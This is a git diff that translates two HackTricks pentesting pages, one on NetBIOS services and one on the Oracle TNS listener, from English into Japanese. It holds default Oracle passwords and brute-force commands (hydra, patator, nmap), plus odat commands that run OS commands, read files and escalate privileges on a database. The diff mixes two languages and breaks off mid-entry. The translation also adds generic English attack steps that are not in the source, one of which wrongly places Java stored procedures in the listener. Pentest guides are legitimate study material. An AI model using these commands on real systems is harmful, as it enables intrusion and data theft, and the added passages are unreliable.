-NetBIOS datagrams are sent over UDP. A datagram is sent with a "Direct Unique" or "Direct Group" packet if it's being sent to a particular NetBIOS name, or a "Broadcast" packet if it's being sent to all NetBIOS names on the network. - +NetBIOSデータグラムはUDPを介して送信されます。データグラムは、「Direct Unique」または「Direct Group」パケットとして送信されます。これは特定のNetBIOS名に送信される場合です。また、「Broadcast」パケットとして送信されます。これはネットワーク上のすべてのNetBIOS名に送信される場合です。 ```bash PORT STATE SERVICE VERSION 138/udp open|filtered netbios-dgm ``` +### セッションサービス -### Session Service +セッションモードでは、2つのコンピュータが「会話」のために接続を確立し、より大きなメッセージを処理し、エラーの検出と回復を提供します。 -Session mode lets two computers establish a connection for a "conversation", allows larger messages to be handled, and provides error detection and recovery. +セッションはパケットの交換によって確立されます。セッションを確立するコンピュータは、セッションを確立するためのポート139への[TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol)接続を試みます。接続が確立されると、セッションを確立するアプリケーションのNetBIOS名とセッションを確立するためのNetBIOS名を含む「セッションリクエスト」パケットを接続経由で送信します。セッションを確立するコンピュータは、セッションを確立できることを示す「ポジティブセッションレスポンス」またはその名前に対してセッションを確立するためのリソースが利用できないことを示す「ネガティブセッションレスポンス」のいずれかの応答を受け取ります。 -Sessions are established by exchanging packets. The computer establishing the session attempts to make a [TCP](https://en.wikipedia.org/wiki/Transmission\_Control\_Protocol) connection to port 139 on the computer with which the session is to be established. If the connection is made, the computer establishing the session then sends over the connection a "Session Request" packet with the NetBIOS names of the application establishing the session and the NetBIOS name to which the session is to be established. The computer with which the session is to be established will respond with a "Positive Session Response" indicating that a session can be established or a "Negative Session Response" indicating that no session can be established (either because that computer isn't listening for sessions being established to that name or because no resources are available to establish a session to that name). +データは確立されたセッションによってセッションメッセージパケットを介して送信されます。 -Data is transmitted during an established session by Session Message packets. - -TCP handles flow control and retransmission of all session service packets, and the dividing of the data stream over which the packets are transmitted into [IP](https://en.wikipedia.org/wiki/Internet\_Protocol) datagrams small enough to fit in link-layer packets. - -Sessions are closed by closing the TCP connection. +TCPは、すべてのセッションサービスパケットのフロー制御と再送信、およびパケットが転送されるデータストリームをIPデータグラムに分割してリンク層パケットに収まるように処理します。 +セッションはTCP接続を閉じることで終了します。 ```bash PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` - -**Read the next page to learn how to enumerate this service:** +**次のページを読んで、このサービスの列挙方法を学びましょう:** {% content-ref url="137-138-139-pentesting-netbios.md" %} [137-138-139-pentesting-netbios.md](137-138-139-pentesting-netbios.md) {% endcontent-ref %} -## HackTricks Automatic Commands - +## HackTricks自動コマンド ``` Protocol_Name: Netbios #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. Protocol_Description: Netbios #Protocol Abbreviation Spelled out Entry_1: - Name: Notes - Description: Notes for NetBios - Note: | - Name service for name registration and resolution (ports: 137/udp and 137/tcp). - Datagram distribution service for connectionless communication (port: 138/udp). - Session service for connection-oriented communication (port: 139/tcp). +Name: Notes +Description: Notes for NetBios +Note: | +Name service for name registration and resolution (ports: 137/udp and 137/tcp). +Datagram distribution service for connectionless communication (port: 138/udp). +Session service for connection-oriented communication (port: 139/tcp). - Every machine should have a name inside the NetBios network. To request a name, a machine should send a "Name Query" packet in broadcast and if anyone answer that it is already using that name, the machine can use that name. If there is a Name Service server, the computer could ask the Name Service server if someone is using the name that it wants to use. +Every machine should have a name inside the NetBios network. To request a name, a machine should send a "Name Query" packet in broadcast and if anyone answer that it is already using that name, the machine can use that name. If there is a Name Service server, the computer could ask the Name Service server if someone is using the name that it wants to use. - https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios +https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios Entry_2: - Name: Find Names - Description: Three scans to find the names of the server - Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP} +Name: Find Names +Description: Three scans to find the names of the server +Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script nbstat.nse -p 137 -Pn -n {IP} ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md index 2302b833f..68bfdcf8f 100644 --- a/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md +++ b/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md @@ -1,84 +1,77 @@ -# 1521,1522-1529 - Pentesting Oracle TNS Listener +# 1521,1522-1529 - Oracle TNSリスナーのペントesting
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Basic Information +## 基本情報 -Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation (from [here](https://www.techopedia.com/definition/8711/oracle-database)). - -When enumerating Oracle the first step is to talk to the TNS-Listener that usually resides on the default port (1521/TCP, -you may also get secondary listeners on 1522–1529-). +Oracleデータベース(Oracle DB)は、Oracle Corporationからの関係データベース管理システム(RDBMS)です([ここから](https://www.techopedia.com/definition/8711/oracle-database))。 +Oracleを列挙する際の最初のステップは、通常デフォルトポート(1521/TCP)に存在するTNSリスナーと通信することです(1522-1529にもセカンダリリスナーが存在する場合があります)。 ``` 1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows) 1748/tcp open oracle-tns Oracle TNS Listener ``` +## 概要 -## Summary +1. **バージョン情報を列挙**する(既知の脆弱性を検索する) +2. TNSリスナーの通信を**ブルートフォース**する(必ずしも必要ではない) +3. **SID名**(データベース名のようなもの)を列挙/ブルートフォースする +4. 発見した有効なSID名のために**資格情報をブルートフォース**する +5. コードの**実行を試みる** -1. **Enumerate version** info (search for **known vulns**) -2. **Bruteforce TNS listener** communication (not always needed) -3. **Enumerate**/Bruteforce **SID names** (like database names) -4. **Bruteforce credentials** for valid SID name discovered -5. Try to **execute code** +MSFオラクルモジュールを使用するためには、いくつかの依存関係をインストールする必要があります:[**インストール**](oracle-pentesting-requirements-installation.md) -In order to user MSF oracle modules you need to install some dependencies: [**Installation**](oracle-pentesting-requirements-installation.md) +## 列挙 -## Enumeration - -Tools that can be used for this are: nmap, MSF and [tnscmd10g](http://dokfleed.net/files/audit/tnscmd10g.zip). - -### TNS listener version +これに使用できるツールは、nmap、MSF、および[tnscmd10g](http://dokfleed.net/files/audit/tnscmd10g.zip)です。 +### TNSリスナーバージョン ```bash nmap --script "oracle-tns-version" -p 1521 -T4 -sV msf> use auxiliary/scanner/oracle/tnslsnr_version #apt install tnscmd10g tnscmd10g version -p 1521 -h ``` +他の便利なTNSリスナーコマンド: -Other useful TNS listener commands: - -| **Command** | **Purpose** | +| **コマンド** | **目的** | | ------------ | --------------------------------------------------------------- | -| ping | Ping the listener | -| version | Provide output of the listener version and platform information | -| status | Return the current status and variables used by the listener | -| services | Dump service data | -| debug | Dump debugging information to the listener log | -| reload | Reload the listener configuration file | -| save\_config | Write the listener configuration file to a backup location | -| stop | Invoke listener shutdown | - -If you **receive an error**, could be because **TNS versions are incompatible** (Use the `--10G` parameter with `tnscmd10`) and if the **error persist,** the listener may be **password protected** (you can see a list were all the [**errors are detailed here**](https://docs.oracle.com/database/121/ERRMG/TNS-00000.htm#ERRMG-GUID-D723D931-ECBA-4FA4-BF1B-1F4FE2EEBAD7)) — don't worry… hydra to the rescue\*\*:\*\* +| ping | リスナーにPingを送信する | +| version | リスナーバージョンとプラットフォーム情報を提供する | +| status | リスナーが使用する現在のステータスと変数を返す | +| services | サービスデータをダンプする | +| debug | デバッグ情報をリスナーログにダンプする | +| reload | リスナーの設定ファイルを再読み込みする | +| save\_config | リスナーの設定ファイルをバックアップ場所に書き込む | +| stop | リスナーシャットダウンを実行する | +もし**エラーが発生した**場合、TNSのバージョンが**互換性がない**可能性があります(`tnscmd10`と`--10G`パラメータを使用してください)。そして、もし**エラーが続く**場合、リスナーは**パスワードで保護されている**可能性があります([**ここに詳細なエラーのリストがあります**](https://docs.oracle.com/database/121/ERRMG/TNS-00000.htm#ERRMG-GUID-D723D931-ECBA-4FA4-BF1B-1F4FE2EEBAD7))-心配しないで... hydraが助けになります。 ``` hydra -P rockyou.txt -t 32 -s 1521 host.victim oracle-listener ``` +TNSリスナーは**MitM**攻撃の脆弱性がある可能性があります。[サーバーが脆弱かどうかを確認し、攻撃を実行する方法についてはこちらを参照してください(バージョン12cまでのすべてのバージョンに対応)](tns-poison.md)。 -The TNS listener could be vulnerable to **MitM** attacks. [Check here how to check if the server is vulnerable and how to perform the attack (all versions up to version 12c are)](tns-poison.md). +### SIDの列挙 -### SID enumeration +#### **SIDとは何ですか** -#### **What is a SID** - -The SID (Service Identifier) is essentially the database name, depending on the install you may have one or more default SIDs, or even a totally custom dba defined SID. - -**In some old versions (in 9 it works)** you could ask for the SID and the database send it to you: +SID(サービス識別子)は基本的にはデータベース名です。インストールによっては、1つ以上のデフォルトのSIDや、完全にカスタムのdba定義されたSIDがある場合もあります。 +**一部の古いバージョン(9では動作します)では、SIDを要求し、データベースがそれを送信することができます。** ```bash tnscmd10g status-p 1521 -h #The SID are inside: SERVICE=(SERVICE_NAME=) @@ -92,15 +85,13 @@ msf> set CMD (CONNECT_DATA=(COMMAND=STATUS)) msf> set rhost msf> run #The SID are inside: SERVICE=(SERVICE_NAME=) ``` +**SIDブルートフォース** -If you cant access this way to the SIDs you will need to bruteforce them: +もしもこの方法でSIDにアクセスできない場合は、ブルートフォース攻撃が必要です。 -**SID Bruteforce** - -I have merged the nmap and MSF sid lists into this one (without duplicates): +私はnmapとMSFのSIDリストを統合し、重複を排除したものを以下に示します: {% file src="../../.gitbook/assets/sids-oracle.txt" %} - ```bash hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 oracle-sid patator oracle_login host= sid=FILE0 0=sids-oracle.txt -x ignore:code=ORA-12505 @@ -108,88 +99,76 @@ patator oracle_login host= sid=FILE0 0=sids-oracle.txt -x ignore:code=ORA-12 msf> use auxiliary/admin/oracle/sid_brute #This will use the list located at /usr/share/metasploit-framework/data/wordlists/sid.txt nmap --script +oracle-sid-brute -p 1521 10.11.1.202 #This will use the list lcated at /usr/share/nmap/nselib/data/oracle-sids ``` - -In order to use **oracle\_login** with **patator** you need to **install**: - +**oracle_login**を**patator**と一緒に使用するためには、以下の手順で**インストール**する必要があります: ``` pip3 install cx_Oracle --upgrade ``` +## **アカウントのターゲティング** -## **Targeting Accounts** +**SIDを手に入れましたか?** それなら、次のタスクに進んでユーザーアカウント情報を抽出しましょう。この段階から、リスナーに接続して資格情報をブルートフォース攻撃することができます。 -**Got SID?** Excellent, now let’s move to the next task and extract the user account information. From this point, you can connect to the listener and brute-force credentials. +**Metasploit** _\*\*scanner/oracle/oracle\_login_ には、ログイン:パスワードとして表示される**最も一般的なデフォルト値の辞書**が組み込まれています。ちなみに、このようなデフォルトのエントリは、Oracleにおける最も一般的で深刻なセキュリティの問題の1つを表しています。 -**Metasploit** _\*\*scanner/oracle/oracle\_login_ It has a built-in dictionary for the **most popular default values of user account** information presented as login:password. By the way, such default entries represent one of the most popular and serious security problems in Oracle. +**Nmap** は、_oracle-brute_ スクリプトで助けを提供することもできます。このスクリプトは、ログインとパスワードを**混在させて**、つまり、各ログインをすべてのパスワードに対して試すため、かなり時間がかかります! -**Nmap** can also help here with the script _oracle-brute_. Note that this script **mixes the logins and passwords**, that is, it tries each login against every password, and it takes quite a while! +### **デフォルトのパスワード** -### **Default Passwords** +以下は、Oracleに関連付けられたいくつかのデフォルトのパスワードです: -Below are some of the default passwords associated with Oracle: +* **DBSNMP/DBSNMP** — インテリジェントエージェントがデータベースサーバーと通信するために使用する(変更するのには手間がかかる) +* **SYS/CHANGE\_ON\_INSTALL** — Oracle v9以前のデフォルトのsysdbaアカウントで、バージョン10g以降では異なる必要があります! +* **PCMS\_SYS/PCMS\_SYS** — デフォルトのxアカウント +* **WMSYS/WMSYS** — デフォルトのxアカウント +* **OUTLN/OUTLN** — デフォルトのxアカウント +* **SCOTT/TIGER** — デフォルトのxアカウント -* **DBSNMP/DBSNMP** — Intelligent Agent uses this to talk to the db server (its some work to change it) -* **SYS/CHANGE\_ON\_INSTALL** — Default sysdba account before and including Oracle v9, as of version 10g this has to be different! -* **PCMS\_SYS/PCMS\_SYS** — Default x account -* **WMSYS/WMSYS** — Default x account -* **OUTLN/OUTLN** — Default x account -* **SCOTT/TIGER** — Default x account +他の**デフォルトのパスワード**は、[こちら](http://www.petefinnigan.com/default/oracle\_default\_passwords.htm)と[こちら](https://cirt.net/passwords?vendor=Oracle)で見つけることができます。 -Other **default passwords** can be found [here ](http://www.petefinnigan.com/default/oracle\_default\_passwords.htm)and [here](https://cirt.net/passwords?vendor=Oracle). +バージョン11.1.0.6、11.1.0.7、11.2.0.1、11.2.0.2、および11.2.0.3は、**オフラインブルートフォース攻撃**の脆弱性があります。[**このテクニックについての詳細はこちらを参照してください。**](remote-stealth-pass-brute-force.md) -The versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3 are vulnerable to **offline brute force**. [**Read more about this technique here.**](remote-stealth-pass-brute-force.md) +### ユーザー/パスワードのブルートフォース攻撃 -### User/Pass bruteforce +Oracleに対して、異なるツールが提供する**異なるユーザー/パスワードリスト**があります: -Different tools offered **different user/pass lists** for oracle: +* **oscan:** _/usr/share/oscanner/accounts.default_(169行) +* **MSF-1:** _from_ admin/oracle/oracle\_login \_\_/usr/share/metasploit-framework/data/wordlists/oracle\_default\_passwords.csv(598行) +* **MSF-2:** _from scanner/oracle/oracle\_login_ _/usr/share/metasploit-framework/data/wordlists/oracle\_default\_userpass.txt_(568行) +* **Nmap:** _/usr/share/nmap/nselib/data/oracle-default-accounts.lst_(687行) -* **oscan:** _/usr/share/oscanner/accounts.default_ (169 lines) -* **MSF-1:** _from_ admin/oracle/oracle\_login \_\_/usr/share/metasploit-framework/data/wordlists/oracle\_default\_passwords.csv (598 lines) -* **MSF-2:** _from scanner/oracle/oracle\_login_ _/usr/share/metasploit-framework/data/wordlists/oracle\_default\_userpass.txt_ (568 lines) -* **Nmap:** _/usr/share/nmap/nselib/data/oracle-default-accounts.lst_ (687 lines) - -I have **mixed** all of them and **removed duplicates:** +これらをすべて**混在させ、重複を削除しました**: {% file src="../../.gitbook/assets/users-oracle.txt" %} {% file src="../../.gitbook/assets/pass-oracle.txt" %} -### [Brute Force](../../generic-methodologies-and-resources/brute-force.md#oraclesql) +### [ブルートフォース攻撃](../../generic-methodologies-and-resources/brute-force.md#oraclesql) -Now, that you **know a valid SID and valid credentials**. To connect to the database you need the tool: _**sqlplus**_ and to install it you need to follow some steps: +さて、**有効なSIDと有効な資格情報**がわかったので、データベースに接続するためにはツール:_**sqlplus**_が必要です。インストールするには、以下の手順に従う必要があります: -[Installation](oracle-pentesting-requirements-installation.md) - -To login using known credentials: +[インストール](oracle-pentesting-requirements-installation.md) +既知の資格情報を使用してログインするには: ``` sqlplus /@/; ``` - -If the TNS Listener is on a non-default port (e.g. TCP/1522) : - +もしTNSリスナーがデフォルトのポートではない場合(例:TCP/1522): ``` sqlplus /@:/; ``` - -If an **account has system database priviledges (sysdba) or system operator (sysop)** you may wish to try the following: - +もし**アカウントがシステムデータベースの特権(sysdba)またはシステムオペレータ(sysop)**を持っている場合、以下の方法を試してみることができます。 ```bash sqlplus /@/ 'as sysdba'; #Example: sqlplus SYSTEM/MANAGER@192.168.0.2/ORCL 'as sysdba' ``` +## **オールインワン** -## **All in One** - -**An interesting tool is oscanner**, which will try to get some valid SID and then it will brute-force for valid credentials and try to extract some information: - +**興味深いツールはoscannerです**。このツールは、有効なSIDを取得しようとし、有効な資格情報をブルートフォース攻撃して抽出しようとします。以下のコマンドを使用してoscannerを実行します。 ```bash #apt install oscanner oscanner -s -P ``` - -Another tool that will do all of this it [**odat**](https://github.com/quentinhardy/odat): - +もう一つのツールは、[**odat**](https://github.com/quentinhardy/odat)です。これはすべてのことを行うことができます。 ```bash git clone https://github.com/quentinhardy/odat.git cd odat @@ -197,132 +176,153 @@ cd odat ./odat.py all -s -p ./odat.py all -s -p -d #To bruteforce accounts for that SID ``` +これらのオプション(_-s_ と _-p_)を使用すると、ODATは最初のステップで有効なSID(システムID)を検索します。構成方法(ワードリストまたはブルートフォース攻撃など)のいくつかのオプションを設定することができます。デフォルトでは、ODATは大きなワードリストを使用し、小さなブルートフォース攻撃を行います。 -With these options (_-s_ and _-p_), ODAT will **search valid SID** (System ID) in a first step. You can configure some options for configuring methods (i.e. word-list or brute-force attack). By default, ODAT will use a big word list and it will do a small brute-force attack. +ODATが少なくとも1つのSID(例:_ORCL_)を見つけた場合、有効なOracleアカウントを検索します。それは**見つかった各SID**で行います。資格情報のためにいくつかのオプションを指定することができます(例:_--accounts-file_、_--accounts-files_、_--login-as-pwd_)。 -If ODAT **founds at least one SID** (e.g. _ORCL_), it will **search valid Oracle accounts**. It will do that on **each SID found**. You can specify some options for credentials (e.g. _--accounts-file_, _--accounts-files_, _--login-as-pwd_). - -For **each valid account** (e.g. _SYS_) **on each valid instance** (SID), ODAT will return **what each Oracle user can do** (e.g. reverse shell, read files, become DBA). +**各有効なアカウント**(例:_SYS_)**の各有効なインスタンス**(SID)に対して、ODATは**各Oracleユーザーができること**(例:リバースシェル、ファイルの読み取り、DBAへの昇格)を返します。 [**Wiki odat**](https://github.com/quentinhardy/odat/wiki) -## Remote Code Execution +## リモートコード実行 -There are at least two different ways to execute commands, such as by using Java procedures and DBMS\_SCHEDULER package. By the way, you can also achieve RCE in case of SQL injection in a web application provided, of course, that the user running it has sufficient rights. At this stage, I highly recommend preparing the Oracle Database Attacking Tool: [ODAT](https://github.com/quentinhardy/odat). - -### Install ODAT +JavaプロシージャとDBMS\_SCHEDULERパッケージを使用してコマンドを実行するための少なくとも2つの異なる方法があります。ちなみに、ウェブアプリケーションのSQLインジェクションの場合も、実行しているユーザーに十分な権限がある場合にはRCEを達成することができます。この段階では、Oracle Database Attacking Tool(ODAT)の準備を強くお勧めします:[ODAT](https://github.com/quentinhardy/odat)。 +### ODATのインストール ```bash git clone https://github.com/quentinhardy/odat.git cd odat ./odat.py #It shouldn't be problems in Kali ``` +### Javaストアドプロシージャを使用してコードを実行する -### Execute Code via Java Stored Procedure +In some cases, an Oracle Listener may have a Java Stored Procedure enabled, which can be exploited to execute arbitrary code. This technique can be used during a penetration test to gain unauthorized access to the Oracle Listener. +以下の場合、OracleリスナーにはJavaストアドプロシージャが有効になっている場合があります。これを悪用して任意のコードを実行することができます。このテクニックは、ペネトレーションテスト中にOracleリスナーへの不正アクセスを行うために使用することができます。 + +To execute code via a Java Stored Procedure, follow these steps: + +Javaストアドプロシージャを使用してコードを実行するには、以下の手順に従ってください。 + +1. Identify the Java Stored Procedure: First, you need to identify if the Oracle Listener has a Java Stored Procedure enabled. This can be done by querying the `DBA_OBJECTS` table and looking for objects with the type `JAVA SOURCE` or `JAVA CLASS`. + + Javaストアドプロシージャを特定する:まず、OracleリスナーにJavaストアドプロシージャが有効になっているかどうかを特定する必要があります。これは、`DBA_OBJECTS`テーブルをクエリし、タイプが`JAVA SOURCE`または`JAVA CLASS`のオブジェクトを探すことで行うことができます。 + +2. Analyze the Java Stored Procedure: Once you have identified the Java Stored Procedure, analyze its code to understand its functionality and potential vulnerabilities. Look for any user input that is not properly validated or sanitized. + + Javaストアドプロシージャを分析する:Javaストアドプロシージャを特定したら、そのコードを分析して機能と潜在的な脆弱性を理解します。適切に検証またはサニタイズされていないユーザー入力を探してください。 + +3. Craft the payload: Based on the analysis, craft a payload that exploits the vulnerability in the Java Stored Procedure. This payload should allow you to execute arbitrary code on the Oracle Listener. + + ペイロードの作成:分析に基づいて、Javaストアドプロシージャの脆弱性を悪用するペイロードを作成します。このペイロードにより、Oracleリスナー上で任意のコードを実行できるようにする必要があります。 + +4. Execute the payload: Finally, execute the crafted payload to exploit the vulnerability and execute your desired code on the Oracle Listener. + + ペイロードの実行:最後に、作成したペイロードを実行して脆弱性を悪用し、Oracleリスナー上で目的のコードを実行します。 + +It is important to note that exploiting a Java Stored Procedure requires a deep understanding of Java programming and Oracle Listener internals. Additionally, this technique should only be used in controlled environments with proper authorization, such as during a penetration test. ```bash ./odat.py java -s -U -P -d --exec COMMAND ``` +### スケジューラを介してコードを実行する -[More details here](oracle-rce-and-more.md#rce-java-store-procedure) +The Oracle Scheduler is a powerful tool that allows you to schedule and automate tasks within the Oracle database. However, it can also be exploited by hackers to execute malicious code. -### Execute code via Scheduler +To execute code via the Scheduler, you can follow these steps: +1. Identify the target database's version and configuration. +2. Enumerate the available jobs and schedules using the `DBA_SCHEDULER_JOBS` and `DBA_SCHEDULER_SCHEDULES` views. +3. Look for any jobs or schedules that have elevated privileges or execute code in a privileged context. +4. Analyze the job's code and parameters to understand its functionality and potential vulnerabilities. +5. Craft a payload that exploits the identified vulnerability. +6. Submit the payload as a job or modify an existing job to execute the payload. +7. Monitor the execution of the job and collect any output or results. + +By exploiting the Oracle Scheduler, an attacker can gain unauthorized access to the database, execute arbitrary code, or perform other malicious actions. It is crucial for administrators to regularly review and secure the Scheduler to prevent such attacks. ```bash ./odat.py dbmsscheduler -s -d -U -P --exec "C:\windows\system32\cmd.exe /c echo 123>>C:\hacK" ``` +[詳細はこちら](oracle-rce-and-more.md#rce-scheduler) -[More details here](oracle-rce-and-more.md#rce-scheduler) - -### Execute code via External Tables - +### 外部テーブルを介してコードを実行する ```bash ./odat.py externaltable -s -U -P -d --exec "C:/windows/system32" "calc.exe" ``` +‘ODAT.py’は特権「CREATE ANY DIRECTORY」を必要とします。デフォルトでは、この特権はDBAロールにのみ付与されているため、任意のディレクトリからファイルを実行しようとします(この攻撃の手動バージョンはより少ない特権を必要とします)。 -‘ODAT.py’ requires the privilege ‘CREATE ANY DIRECTORY’, which, by default, is granted only to DBA role, since it attempts to execute the file from any and not only “your” directory (the manual version of this attack requires less privileges). - -[More details here.](oracle-rce-and-more.md#rce-external-tables) - -## Read/Write files +[詳細はこちらを参照してください。](oracle-rce-and-more.md#rce-external-tables) +## ファイルの読み書き ```bash ./odat.py utlfile -s -d -U -P --getFile "C:/test" token.txt token.txt ./odat.py externaltable -s -U -P -d --getFile "C:/test" "my4.txt" "my" ``` +[詳細はこちら](oracle-rce-and-more.md#read-write-files) -[More details here](oracle-rce-and-more.md#read-write-files) +## 特権の昇格 -## Elevating Privileges - -[More details here](oracle-rce-and-more.md#elevating-privileges) - -You can use the [privesc ](https://github.com/quentinhardy/odat/wiki/privesc)module from odat to escalate privileges. In that link you can find **several ways to escalate privileges using odat.** +[詳細はこちら](oracle-rce-and-more.md#elevating-privileges) +odatの[privesc](https://github.com/quentinhardy/odat/wiki/privesc)モジュールを使用して特権を昇格させることができます。そのリンクには、odatを使用して特権を昇格させる**いくつかの方法**が記載されています。 ```bash ./odat.py privesc -s $SERVER -d $ID -U $USER -P $PASSWORD -h #Get module Help ``` - -Vulnerability tested on oracle 10.1.0.3.0 – should work on thru 10.1.0.5.0 and supposedly on 11g. Fixed with Oracle Critical Patch update October 2007. - +Oracle 10.1.0.3.0でテストされた脆弱性 - 10.1.0.5.0および11gで動作するはずです。Oracle Critical Patch Update October 2007で修正されました。 ```bash msf> use auxiliary/sqli/oracle/lt_findricset_cursor ``` +## テスト用の無料仮想環境 -## Free Virtual Environment for testing - -If you want to practice attacking Oracle databases, the safest way is to register for the Oracle Developer Days Virtualbox VM: +Oracleデータベースの攻撃を練習したい場合、最も安全な方法はOracle Developer Days Virtualbox VMに登録することです。 {% embed url="http://www.oracle.com/technetwork/database/enterprise-edition/databaseappdev-vm-161299.html" %} -Most part of the information in this post was extracted from: [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573) and from [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/) +この投稿のほとんどの情報は、以下から抽出されました:[https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573) および [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/) -Other interesting **references**: +他の興味深い**参考文献**: [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html) -## HackTricks Automatic Commands - +## HackTricks 自動コマンド ``` Protocol_Name: Oracle #Protocol Abbreviation if there is one. Port_Number: 1521 #Comma separated if there is more than one. Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out Entry_1: - Name: Notes - Description: Notes for Oracle - Note: | - Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation +Name: Notes +Description: Notes for Oracle +Note: | +Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation - #great oracle enumeration tool - navigate to https://github.com/quentinhardy/odat/releases/ - download the latest - tar -xvf odat-linux-libc2.12-x86_64.tar.gz - cd odat-libc2.12-x86_64/ - ./odat-libc2.12-x86_64 all -s 10.10.10.82 +#great oracle enumeration tool +navigate to 